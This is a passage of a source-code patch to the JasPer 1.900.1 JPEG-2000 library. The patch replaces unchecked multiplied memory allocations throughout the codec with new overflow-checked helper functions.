-	  !(lut8->intabsbuf = jas_malloc(lut8->numinchans *
-	  lut8->numintabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabs = jas_malloc(lut8->numinchans *
+	if (!(lut8->clut = jas_alloc2(clutsize, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabsbuf = jas_alloc3(lut8->numinchans,
+	  lut8->numintabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabs = jas_alloc2(lut8->numinchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numinchans; ++i)
 		lut8->intabs[i] = &lut8->intabsbuf[i * lut8->numintabents];
-	if (!(lut8->outtabsbuf = jas_malloc(lut8->numoutchans *
-	  lut8->numouttabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->outtabs = jas_malloc(lut8->numoutchans *
+	if (!(lut8->outtabsbuf = jas_alloc3(lut8->numoutchans,
+	  lut8->numouttabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->outtabs = jas_alloc2(lut8->numoutchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numoutchans; ++i)
@@ -1461,17 +1460,17 @@ static int jas_icclut16_input(jas_iccatt
 	  jas_iccgetuint16(in, &lut16->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut16->clutlen, lut16->numinchans) * lut16->numoutchans;
-	if (!(lut16->clut = jas_malloc(clutsize * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabsbuf = jas_malloc(lut16->numinchans *
-	  lut16->numintabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabs = jas_malloc(lut16->numinchans *
+	if (!(lut16->clut = jas_alloc2(clutsize, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabsbuf = jas_alloc3(lut16->numinchans,
+	  lut16->numintabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabs = jas_alloc2(lut16->numinchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numinchans; ++i)
 		lut16->intabs[i] = &lut16->intabsbuf[i * lut16->numintabents];
-	if (!(lut16->outtabsbuf = jas_malloc(lut16->numoutchans *
-	  lut16->numouttabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->outtabs = jas_malloc(lut16->numoutchans *
+	if (!(lut16->outtabsbuf = jas_alloc3(lut16->numoutchans,
+	  lut16->numouttabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->outtabs = jas_alloc2(lut16->numoutchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numoutchans; ++i)
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_image.c jasper-1.900.1/src/libjasper/base/jas_image.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_image.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_image.c	2009-10-22 10:27:45.000000000 +0200
@@ -142,7 +142,7 @@ jas_image_t *jas_image_create(int numcmp
 	image->inmem_ = true;
 
 	/* Allocate memory for the per-component information. */
-	if (!(image->cmpts_ = jas_malloc(image->maxcmpts_ *
+	if (!(image->cmpts_ = jas_alloc2(image->maxcmpts_,
 	  sizeof(jas_image_cmpt_t *)))) {
 		jas_image_destroy(image);
 		return 0;
@@ -774,8 +774,7 @@ static int jas_image_growcmpts(jas_image
 	jas_image_cmpt_t **newcmpts;
 	int cmptno;
 
-	newcmpts = (!image->cmpts_) ? jas_malloc(maxcmpts * sizeof(jas_image_cmpt_t *)) :
-	  jas_realloc(image->cmpts_, maxcmpts * sizeof(jas_image_cmpt_t *));
+	newcmpts = jas_realloc2(image->cmpts_, maxcmpts, sizeof(jas_image_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c jasper-1.900.1/src/libjasper/base/jas_malloc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_malloc.c	2009-10-22 10:27:45.000000000 +0200
@@ -76,6 +76,9 @@
 
 /* We need the prototype for memset. */
 #include <string.h>
+#include <limits.h>
+#include <errno.h>
+#include <stdint.h>
 
 #include "jasper/jas_malloc.h"
 
@@ -113,18 +116,50 @@ void jas_free(void *ptr)
 
 void *jas_realloc(void *ptr, size_t size)
 {
-	return realloc(ptr, size);
+	return ptr ? realloc(ptr, size) : malloc(size);
 }
 
-void *jas_calloc(size_t nmemb, size_t size)
+void *jas_realloc2(void *ptr, size_t nmemb, size_t size)
+{
+	if (!ptr)
+		return jas_alloc2(nmemb, size);
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+	return jas_realloc(ptr, nmemb * size);
+
+}
+
+void *jas_alloc2(size_t nmemb, size_t size)
+{
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+
+	return jas_malloc(nmemb * size);
+}
+
+void *jas_alloc3(size_t a, size_t b, size_t c)
 {
-	void *ptr;
 	size_t n;
-	n = nmemb * size;
-	if (!(ptr = jas_malloc(n * sizeof(char)))) {
-		return 0;
+
+	if (a && SIZE_MAX / a < b) {
+		errno = ENOMEM;
+		return NULL;
 	}
-	memset(ptr, 0, n);
+
+	return jas_alloc2(a*b, c);
+}
+
+void *jas_calloc(size_t nmemb, size_t size)
+{
+	void *ptr;
+
+	ptr = jas_alloc2(nmemb, size);
+	if (ptr)
+		memset(ptr, 0, nmemb*size);
 	return ptr;
 }
 
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_seq.c jasper-1.900.1/src/libjasper/base/jas_seq.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_seq.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_seq.c	2009-10-22 10:27:45.000000000 +0200
@@ -114,7 +114,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	matrix->datasize_ = numrows * numcols;
 
 	if (matrix->maxrows_ > 0) {
-		if (!(matrix->rows_ = jas_malloc(matrix->maxrows_ *
+		if (!(matrix->rows_ = jas_alloc2(matrix->maxrows_,
 		  sizeof(jas_seqent_t *)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -122,7 +122,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	}
 
 	if (matrix->datasize_ > 0) {
-		if (!(matrix->data_ = jas_malloc(matrix->datasize_ *
+		if (!(matrix->data_ = jas_alloc2(matrix->datasize_,
 		  sizeof(jas_seqent_t)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -220,7 +220,7 @@ void jas_matrix_bindsub(jas_matrix_t *ma
 	mat0->numrows_ = r1 - r0 + 1;
 	mat0->numcols_ = c1 - c0 + 1;
 	mat0->maxrows_ = mat0->numrows_;
-	mat0->rows_ = jas_malloc(mat0->maxrows_ * sizeof(jas_seqent_t *));
+	mat0->rows_ = jas_alloc2(mat0->maxrows_, sizeof(jas_seqent_t *));
 	for (i = 0; i < mat0->numrows_; ++i) {
 		mat0->rows_[i] = mat1->rows_[r0 + i] + c0;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
@@ -212,7 +212,7 @@ jas_stream_t *jas_stream_memopen(char *b
 	if (buf) {
 		obj->buf_ = (unsigned char *) buf;
 	} else {
-		obj->buf_ = jas_malloc(obj->bufsize_ * sizeof(char));
+		obj->buf_ = jas_malloc(obj->bufsize_);
 		obj->myalloc_ = 1;
 	}
 	if (!obj->buf_) {
@@ -992,7 +992,7 @@ static int mem_resize(jas_stream_memobj_
 	unsigned char *buf;
 
 	assert(m->buf_);
-	if (!(buf = jas_realloc(m->buf_, bufsize * sizeof(unsigned char)))) {
+	if (!(buf = jas_realloc(m->buf_, bufsize))) {
 		return -1;
 	}
 	m->buf_ = buf;
diff -pruN jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c jasper-1.900.1/src/libjasper/bmp/bmp_dec.c
--- jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/bmp/bmp_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -283,7 +283,7 @@ static bmp_info_t *bmp_getinfo(jas_strea
 	}
 
 	if (info->numcolors > 0) {
-		if (!(info->palents = jas_malloc(info->numcolors *
+		if (!(info->palents = jas_alloc2(info->numcolors,
 		  sizeof(bmp_palent_t)))) {
 			bmp_info_destroy(info);
 			return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h
--- jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h	2007-01-19 22:43:04.000000000 +0100
+++ jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h	2009-10-22 10:27:45.000000000 +0200
@@ -95,6 +95,9 @@ extern "C" {
 #define	jas_free	MEMFREE
 #define	jas_realloc	MEMREALLOC
 #define	jas_calloc	MEMCALLOC
+#define jas_alloc2(a, b)	MEMALLOC((a)*(b))
+#define jas_alloc3(a, b, c)	MEMALLOC((a)*(b)*(c))
+#define jas_realloc2(p, a, b)	MEMREALLOC((p), (a)*(b))
 #endif
 
 /******************************************************************************\
@@ -115,6 +118,12 @@ void *jas_realloc(void *ptr, size_t size
 /* Allocate a block of memory and initialize the contents to zero. */
 void *jas_calloc(size_t nmemb, size_t size);
 
+/* size-checked double allocation .*/
+void *jas_alloc2(size_t, size_t);
+
+void *jas_alloc3(size_t, size_t, size_t);
+
+void *jas_realloc2(void *, size_t, size_t);
 #endif
 
 #ifdef __cplusplus
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c jasper-1.900.1/src/libjasper/jp2/jp2_cod.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_cod.c	2009-10-22 10:30:24.000000000 +0200
@@ -247,7 +247,7 @@ jp2_box_t *jp2_box_get(jas_stream_t *in)
 	box = 0;
 	tmpstream = 0;
 
-	if (!(box = jas_malloc(sizeof(jp2_box_t)))) {
+	if (!(box = jas_calloc(1, sizeof(jp2_box_t)))) {
 		goto error;
 	}
 	box->ops = &jp2_boxinfo_unk.ops;
@@ -372,7 +372,7 @@ static int jp2_bpcc_getdata(jp2_box_t *b
 	jp2_bpcc_t *bpcc = &box->data.bpcc;
 	unsigned int i;
 	bpcc->numcmpts = box->datalen;
-	if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts * sizeof(uint_fast8_t)))) {
+	if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < bpcc->numcmpts; ++i) {
@@ -416,7 +416,7 @@ static int jp2_colr_getdata(jp2_box_t *b
 		break;
 	case JP2_COLR_ICC:
 		colr->iccplen = box->datalen - 3;
-		if (!(colr->iccp = jas_malloc(colr->iccplen * sizeof(uint_fast8_t)))) {
+		if (!(colr->iccp = jas_alloc2(colr->iccplen, sizeof(uint_fast8_t)))) {
 			return -1;
 		}
 		if (jas_stream_read(in, colr->iccp, colr->iccplen) != colr->iccplen) {
@@ -453,7 +453,7 @@ static int jp2_cdef_getdata(jp2_box_t *b
 	if (jp2_getuint16(in, &cdef->numchans)) {
 		return -1;
 	}
-	if (!(cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t)))) {
+	if (!(cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t)))) {
 		return -1;
 	}
 	for (channo = 0; channo < cdef->numchans; ++channo) {
@@ -766,7 +766,7 @@ static int jp2_cmap_getdata(jp2_box_t *b
 	unsigned int i;
 
 	cmap->numchans = (box->datalen) / 4;
-	if (!(cmap->ents = jas_malloc(cmap->numchans * sizeof(jp2_cmapent_t)))) {
+	if (!(cmap->ents = jas_alloc2(cmap->numchans, sizeof(jp2_cmapent_t)))) {
 		return -1;
 	}
 	for (i = 0; i < cmap->numchans; ++i) {
@@ -828,10 +828,10 @@ static int jp2_pclr_getdata(jp2_box_t *b
 		return -1;
 	}
 	lutsize = pclr->numlutents * pclr->numchans;
-	if (!(pclr->lutdata = jas_malloc(lutsize * sizeof(int_fast32_t)))) {
+	if (!(pclr->lutdata = jas_alloc2(lutsize, sizeof(int_fast32_t)))) {
 		return -1;
 	}
-	if (!(pclr->bpc = jas_malloc(pclr->numchans * sizeof(uint_fast8_t)))) {
+	if (!(pclr->bpc = jas_alloc2(pclr->numchans, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < pclr->numchans; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c jasper-1.900.1/src/libjasper/jp2/jp2_dec.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -336,7 +336,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 	}
 
 	/* Allocate space for the channel-number to component-number LUT. */
-	if (!(dec->chantocmptlut = jas_malloc(dec->numchans * sizeof(uint_fast16_t)))) {
+	if (!(dec->chantocmptlut = jas_alloc2(dec->numchans, sizeof(uint_fast16_t)))) {
 		jas_eprintf("error: no memory\n");
 		goto error;
 	}
@@ -354,7 +354,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 			if (cmapent->map == JP2_CMAP_DIRECT) {
 				dec->chantocmptlut[channo] = channo;
 			} else if (cmapent->map == JP2_CMAP_PALETTE) {
-				lutents = jas_malloc(pclrd->numlutents * sizeof(int_fast32_t));
+				lutents = jas_alloc2(pclrd->numlutents, sizeof(int_fast32_t));
 				for (i = 0; i < pclrd->numlutents; ++i) {
 					lutents[i] = pclrd->lutdata[cmapent->pcol + i * pclrd->numchans];
 				}
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c jasper-1.900.1/src/libjasper/jp2/jp2_enc.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -191,7 +191,7 @@ int sgnd;
 		}
 		bpcc = &box->data.bpcc;
 		bpcc->numcmpts = jas_image_numcmpts(image);
-		if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts *
+		if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts,
 		  sizeof(uint_fast8_t)))) {
 			goto error;
 		}
@@ -285,7 +285,7 @@ int sgnd;
 		}
 		cdef = &box->data.cdef;
 		cdef->numchans = jas_image_numcmpts(image);
-		cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t));
+		cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t));
 		for (i = 0; i < jas_image_numcmpts(image); ++i) {
 			cdefchanent = &cdef->ents[i];
 			cdefchanent->channo = i;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c jasper-1.900.1/src/libjasper/jpc/jpc_cs.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_cs.c	2009-10-22 10:27:45.000000000 +0200
@@ -502,7 +502,7 @@ static int jpc_siz_getparms(jpc_ms_t *ms
 	  !siz->tileheight || !siz->numcomps) {
 		return -1;
 	}
-	if (!(siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t)))) {
+	if (!(siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t)))) {
 		return -1;
 	}
 	for (i = 0; i < siz->numcomps; ++i) {
@@ -986,7 +986,7 @@ static int jpc_qcx_getcompparms(jpc_qcxc
 		jpc_qcx_destroycompparms(compparms);
                 return -1;
         } else if (compparms->numstepsizes > 0) {
-		compparms->stepsizes = jas_malloc(compparms->numstepsizes *
+		compparms->stepsizes = jas_alloc2(compparms->numstepsizes,
 		  sizeof(uint_fast16_t));
 		assert(compparms->stepsizes);
 		for (i = 0; i < compparms->numstepsizes; ++i) {
@@ -1094,7 +1094,7 @@ static int jpc_ppm_getparms(jpc_ms_t *ms
 
 	ppm->len = ms->len - 1;
 	if (ppm->len > 0) {
-		if (!(ppm->data = jas_malloc(ppm->len * sizeof(unsigned char)))) {
+		if (!(ppm->data = jas_malloc(ppm->len))) {
 			goto error;
 		}
 		if (JAS_CAST(uint, jas_stream_read(in, ppm->data, ppm->len)) != ppm->len) {
@@ -1163,7 +1163,7 @@ static int jpc_ppt_getparms(jpc_ms_t *ms
 	}
 	ppt->len = ms->len - 1;
 	if (ppt->len > 0) {
-		if (!(ppt->data = jas_malloc(ppt->len * sizeof(unsigned char)))) {
+		if (!(ppt->data = jas_malloc(ppt->len))) {
 			goto error;
 		}
 		if (jas_stream_read(in, (char *) ppt->data, ppt->len) != JAS_CAST(int, ppt->len)) {
@@ -1226,7 +1226,7 @@ static int jpc_poc_getparms(jpc_ms_t *ms
 	uint_fast8_t tmp;
 	poc->numpchgs = (cstate->numcomps > 256) ? (ms->len / 9) :
 	  (ms->len / 7);
-	if (!(poc->pchgs = jas_malloc(poc->numpchgs * sizeof(jpc_pocpchg_t)))) {
+	if (!(poc->pchgs = jas_alloc2(poc->numpchgs, sizeof(jpc_pocpchg_t)))) {
 		goto error;
 	}
 	for (pchgno = 0, pchg = poc->pchgs; pchgno < poc->numpchgs; ++pchgno,
@@ -1331,7 +1331,7 @@ static int jpc_crg_getparms(jpc_ms_t *ms
 	jpc_crgcomp_t *comp;
 	uint_fast16_t compno;
 	crg->numcomps = cstate->numcomps;
-	if (!(crg->comps = jas_malloc(cstate->numcomps * sizeof(uint_fast16_t)))) {
+	if (!(crg->comps = jas_alloc2(cstate->numcomps, sizeof(uint_fast16_t)))) {
 		return -1;
 	}
 	for (compno = 0, comp = crg->comps; compno < cstate->numcomps;
@@ -1470,7 +1470,7 @@ static int jpc_unk_getparms(jpc_ms_t *ms
 	cstate = 0;
 
 	if (ms->len > 0) {
-		if (!(unk->data = jas_malloc(ms->len * sizeof(unsigned char)))) {
+		if (!(unk->data = jas_malloc(ms->len))) {
 			return -1;
 		}
 		if (jas_stream_read(in, (char *) unk->data, ms->len) != JAS_CAST(int, ms->len)) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c jasper-1.900.1/src/libjasper/jpc/jpc_dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_dec.c	2009-10-22 10:30:50.000000000 +0200
@@ -449,7 +449,7 @@ static int jpc_dec_process_sot(jpc_dec_t
 
 	if (dec->state == JPC_MH) {
 
-		compinfos = jas_malloc(dec->numcomps * sizeof(jas_image_cmptparm_t));
+		compinfos = jas_alloc2(dec->numcomps, sizeof(jas_image_cmptparm_t));
 		assert(compinfos);
 		for (cmptno = 0, cmpt = dec->cmpts, compinfo = compinfos;
 		  cmptno < dec->numcomps; ++cmptno, ++cmpt, ++compinfo) {
@@ -692,7 +692,7 @@ static int jpc_dec_tileinit(jpc_dec_t *d
 			tile->realmode = 1;
 		}
 		tcomp->numrlvls = ccp->numrlvls;
-		if (!(tcomp->rlvls = jas_malloc(tcomp->numrlvls *
+		if (!(tcomp->rlvls = jas_alloc2(tcomp->numrlvls,
 		  sizeof(jpc_dec_rlvl_t)))) {
 			return -1;
 		}
@@ -764,7 +764,7 @@ rlvl->bands = 0;
 			  rlvl->cbgheightexpn);
 
 			rlvl->numbands = (!rlvlno) ? 1 : 3;
-			if (!(rlvl->bands = jas_malloc(rlvl->numbands *
+			if (!(rlvl->bands = jas_alloc2(rlvl->numbands,
 			  sizeof(jpc_dec_band_t)))) {
 				return -1;
 			}
@@ -797,7 +797,7 @@ rlvl->bands = 0;
 
 				assert(rlvl->numprcs);
 
-				if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_dec_prc_t)))) {
+				if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_dec_prc_t)))) {
 					return -1;
 				}
 
@@ -834,7 +834,7 @@ rlvl->bands = 0;
 			if (!(prc->numimsbstagtree = jpc_tagtree_create(prc->numhcblks, prc->numvcblks))) {
 				return -1;
 			}
-			if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_dec_cblk_t)))) {
+			if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_dec_cblk_t)))) {
 				return -1;
 			}
 
@@ -1181,7 +1181,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		return -1;
 	}
 
-	if (!(dec->cmpts = jas_malloc(dec->numcomps * sizeof(jpc_dec_cmpt_t)))) {
+	if (!(dec->cmpts = jas_alloc2(dec->numcomps, sizeof(jpc_dec_cmpt_t)))) {
 		return -1;
 	}
 
@@ -1204,7 +1204,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 	dec->numhtiles = JPC_CEILDIV(dec->xend - dec->tilexoff, dec->tilewidth);
 	dec->numvtiles = JPC_CEILDIV(dec->yend - dec->tileyoff, dec->tileheight);
 	dec->numtiles = dec->numhtiles * dec->numvtiles;
-	if (!(dec->tiles = jas_malloc(dec->numtiles * sizeof(jpc_dec_tile_t)))) {
+	if (!(dec->tiles = jas_calloc(dec->numtiles, sizeof(jpc_dec_tile_t)))) {
 		return -1;
 	}
 
@@ -1228,7 +1228,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		tile->pkthdrstreampos = 0;
 		tile->pptstab = 0;
 		tile->cp = 0;
-		if (!(tile->tcomps = jas_malloc(dec->numcomps *
+		if (!(tile->tcomps = jas_calloc(dec->numcomps,
 		  sizeof(jpc_dec_tcomp_t)))) {
 			return -1;
 		}
@@ -1489,7 +1489,7 @@ static jpc_dec_cp_t *jpc_dec_cp_create(u
 	cp->numlyrs = 0;
 	cp->mctid = 0;
 	cp->csty = 0;
-	if (!(cp->ccps = jas_malloc(cp->numcomps * sizeof(jpc_dec_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcomps, sizeof(jpc_dec_ccp_t)))) {
 		return 0;
 	}
 	if (!(cp->pchglist = jpc_pchglist_create())) {
@@ -2048,7 +2048,7 @@ jpc_streamlist_t *jpc_streamlist_create(
 	}
 	streamlist->numstreams = 0;
 	streamlist->maxstreams = 100;
-	if (!(streamlist->streams = jas_malloc(streamlist->maxstreams *
+	if (!(streamlist->streams = jas_alloc2(streamlist->maxstreams,
 	  sizeof(jas_stream_t *)))) {
 		jas_free(streamlist);
 		return 0;
@@ -2068,8 +2068,8 @@ int jpc_streamlist_insert(jpc_streamlist
 	/* Grow the array of streams if necessary. */
 	if (streamlist->numstreams >= streamlist->maxstreams) {
 		newmaxstreams = streamlist->maxstreams + 1024;
-		if (!(newstreams = jas_realloc(streamlist->streams,
-		  (newmaxstreams + 1024) * sizeof(jas_stream_t *)))) {
+		if (!(newstreams = jas_realloc2(streamlist->streams,
+		  (newmaxstreams + 1024), sizeof(jas_stream_t *)))) {
 			return -1;
 		}
 		for (i = streamlist->numstreams; i < streamlist->maxstreams; ++i) {
@@ -2155,8 +2155,7 @@ int jpc_ppxstab_grow(jpc_ppxstab_t *tab,
 {
 	jpc_ppxstabent_t **newents;
 	if (tab->maxents < maxents) {
-		newents = (tab->ents) ? jas_realloc(tab->ents, maxents *
-		  sizeof(jpc_ppxstabent_t *)) : jas_malloc(maxents * sizeof(jpc_ppxstabent_t *));
+		newents = jas_realloc2(tab->ents, maxents, sizeof(jpc_ppxstabent_t *));
 		if (!newents) {
 			return -1;
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c jasper-1.900.1/src/libjasper/jpc/jpc_enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -403,7 +403,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 		vsteplcm *= jas_image_cmptvstep(image, cmptno);
 	}
 
-	if (!(cp->ccps = jas_malloc(cp->numcmpts * sizeof(jpc_enc_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_ccp_t)))) {
 		goto error;
 	}
 	for (cmptno = 0, ccp = cp->ccps; cmptno < JAS_CAST(int, cp->numcmpts); ++cmptno,
@@ -656,7 +656,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 
 	if (ilyrrates && numilyrrates > 0) {
 		tcp->numlyrs = numilyrrates + 1;
-		if (!(tcp->ilyrrates = jas_malloc((tcp->numlyrs - 1) *
+		if (!(tcp->ilyrrates = jas_alloc2((tcp->numlyrs - 1),
 		  sizeof(jpc_fix_t)))) {
 			goto error;
 		}
@@ -940,7 +940,7 @@ startoff = jas_stream_getrwcount(enc->ou
 	siz->tilewidth = cp->tilewidth;
 	siz->tileheight = cp->tileheight;
 	siz->numcomps = cp->numcmpts;
-	siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t));
+	siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t));
 	assert(siz->comps);
 	for (i = 0; i < JAS_CAST(int, cp->numcmpts); ++i) {
 		siz->comps[i].prec = cp->ccps[i].prec;
@@ -977,7 +977,7 @@ startoff = jas_stream_getrwcount(enc->ou
 		return -1;
 	}
 	crg = &enc->mrk->parms.crg;
-	crg->comps = jas_malloc(crg->numcomps * sizeof(jpc_crgcomp_t));
+	crg->comps = jas_alloc2(crg->numcomps, sizeof(jpc_crgcomp_t));
 	if (jpc_putms(enc->out, enc->cstate, enc->mrk)) {
 		jas_eprintf("cannot write CRG marker\n");
 		return -1;
@@ -1955,7 +1955,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	tile->mctid = cp->tcp.mctid;
 
 	tile->numlyrs = cp->tcp.numlyrs;
-	if (!(tile->lyrsizes = jas_malloc(tile->numlyrs *
+	if (!(tile->lyrsizes = jas_alloc2(tile->numlyrs,
 	  sizeof(uint_fast32_t)))) {
 		goto error;
 	}
@@ -1964,7 +1964,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	}
 
 	/* Allocate an array for the per-tile-component information. */
-	if (!(tile->tcmpts = jas_malloc(cp->numcmpts * sizeof(jpc_enc_tcmpt_t)))) {
+	if (!(tile->tcmpts = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_tcmpt_t)))) {
 		goto error;
 	}
 	/* Initialize a few members critical for error recovery. */
@@ -2110,7 +2110,7 @@ static jpc_enc_tcmpt_t *tcmpt_create(jpc
 	  jas_seq2d_ystart(tcmpt->data), jas_seq2d_xend(tcmpt->data),
 	  jas_seq2d_yend(tcmpt->data), bandinfos);
 
-	if (!(tcmpt->rlvls = jas_malloc(tcmpt->numrlvls * sizeof(jpc_enc_rlvl_t)))) {
+	if (!(tcmpt->rlvls = jas_alloc2(tcmpt->numrlvls, sizeof(jpc_enc_rlvl_t)))) {
 		goto error;
 	}
 	for (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;
@@ -2213,7 +2213,7 @@ static jpc_enc_rlvl_t *rlvl_create(jpc_e
 	rlvl->numvprcs = JPC_FLOORDIVPOW2(brprcbry - tlprctly, rlvl->prcheightexpn);
 	rlvl->numprcs = rlvl->numhprcs * rlvl->numvprcs;
 
-	if (!(rlvl->bands = jas_malloc(rlvl->numbands * sizeof(jpc_enc_band_t)))) {
+	if (!(rlvl->bands = jas_alloc2(rlvl->numbands, sizeof(jpc_enc_band_t)))) {
 		goto error;
 	}
 	for (bandno = 0, band = rlvl->bands; bandno < rlvl->numbands;
@@ -2290,7 +2290,7 @@ if (bandinfo->xstart != bandinfo->xend &
 	band->synweight = bandinfo->synenergywt;
 
 if (band->data) {
-	if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_enc_prc_t)))) {
+	if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_enc_prc_t)))) {
 		goto error;
 	}
 	for (prcno = 0, prc = band->prcs; prcno < rlvl->numprcs; ++prcno,
@@ -2422,7 +2422,7 @@ if (!rlvlno) {
 			goto error;
 		}
 
-		if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_enc_cblk_t)))) {
+		if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_enc_cblk_t)))) {
 			goto error;
 		}
 		for (cblkno = 0, cblk = prc->cblks; cblkno < prc->numcblks;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c	2009-10-22 10:27:45.000000000 +0200
@@ -118,7 +118,7 @@ jpc_mqdec_t *jpc_mqdec_create(int maxctx
 	mqdec->in = in;
 	mqdec->maxctxs = maxctxs;
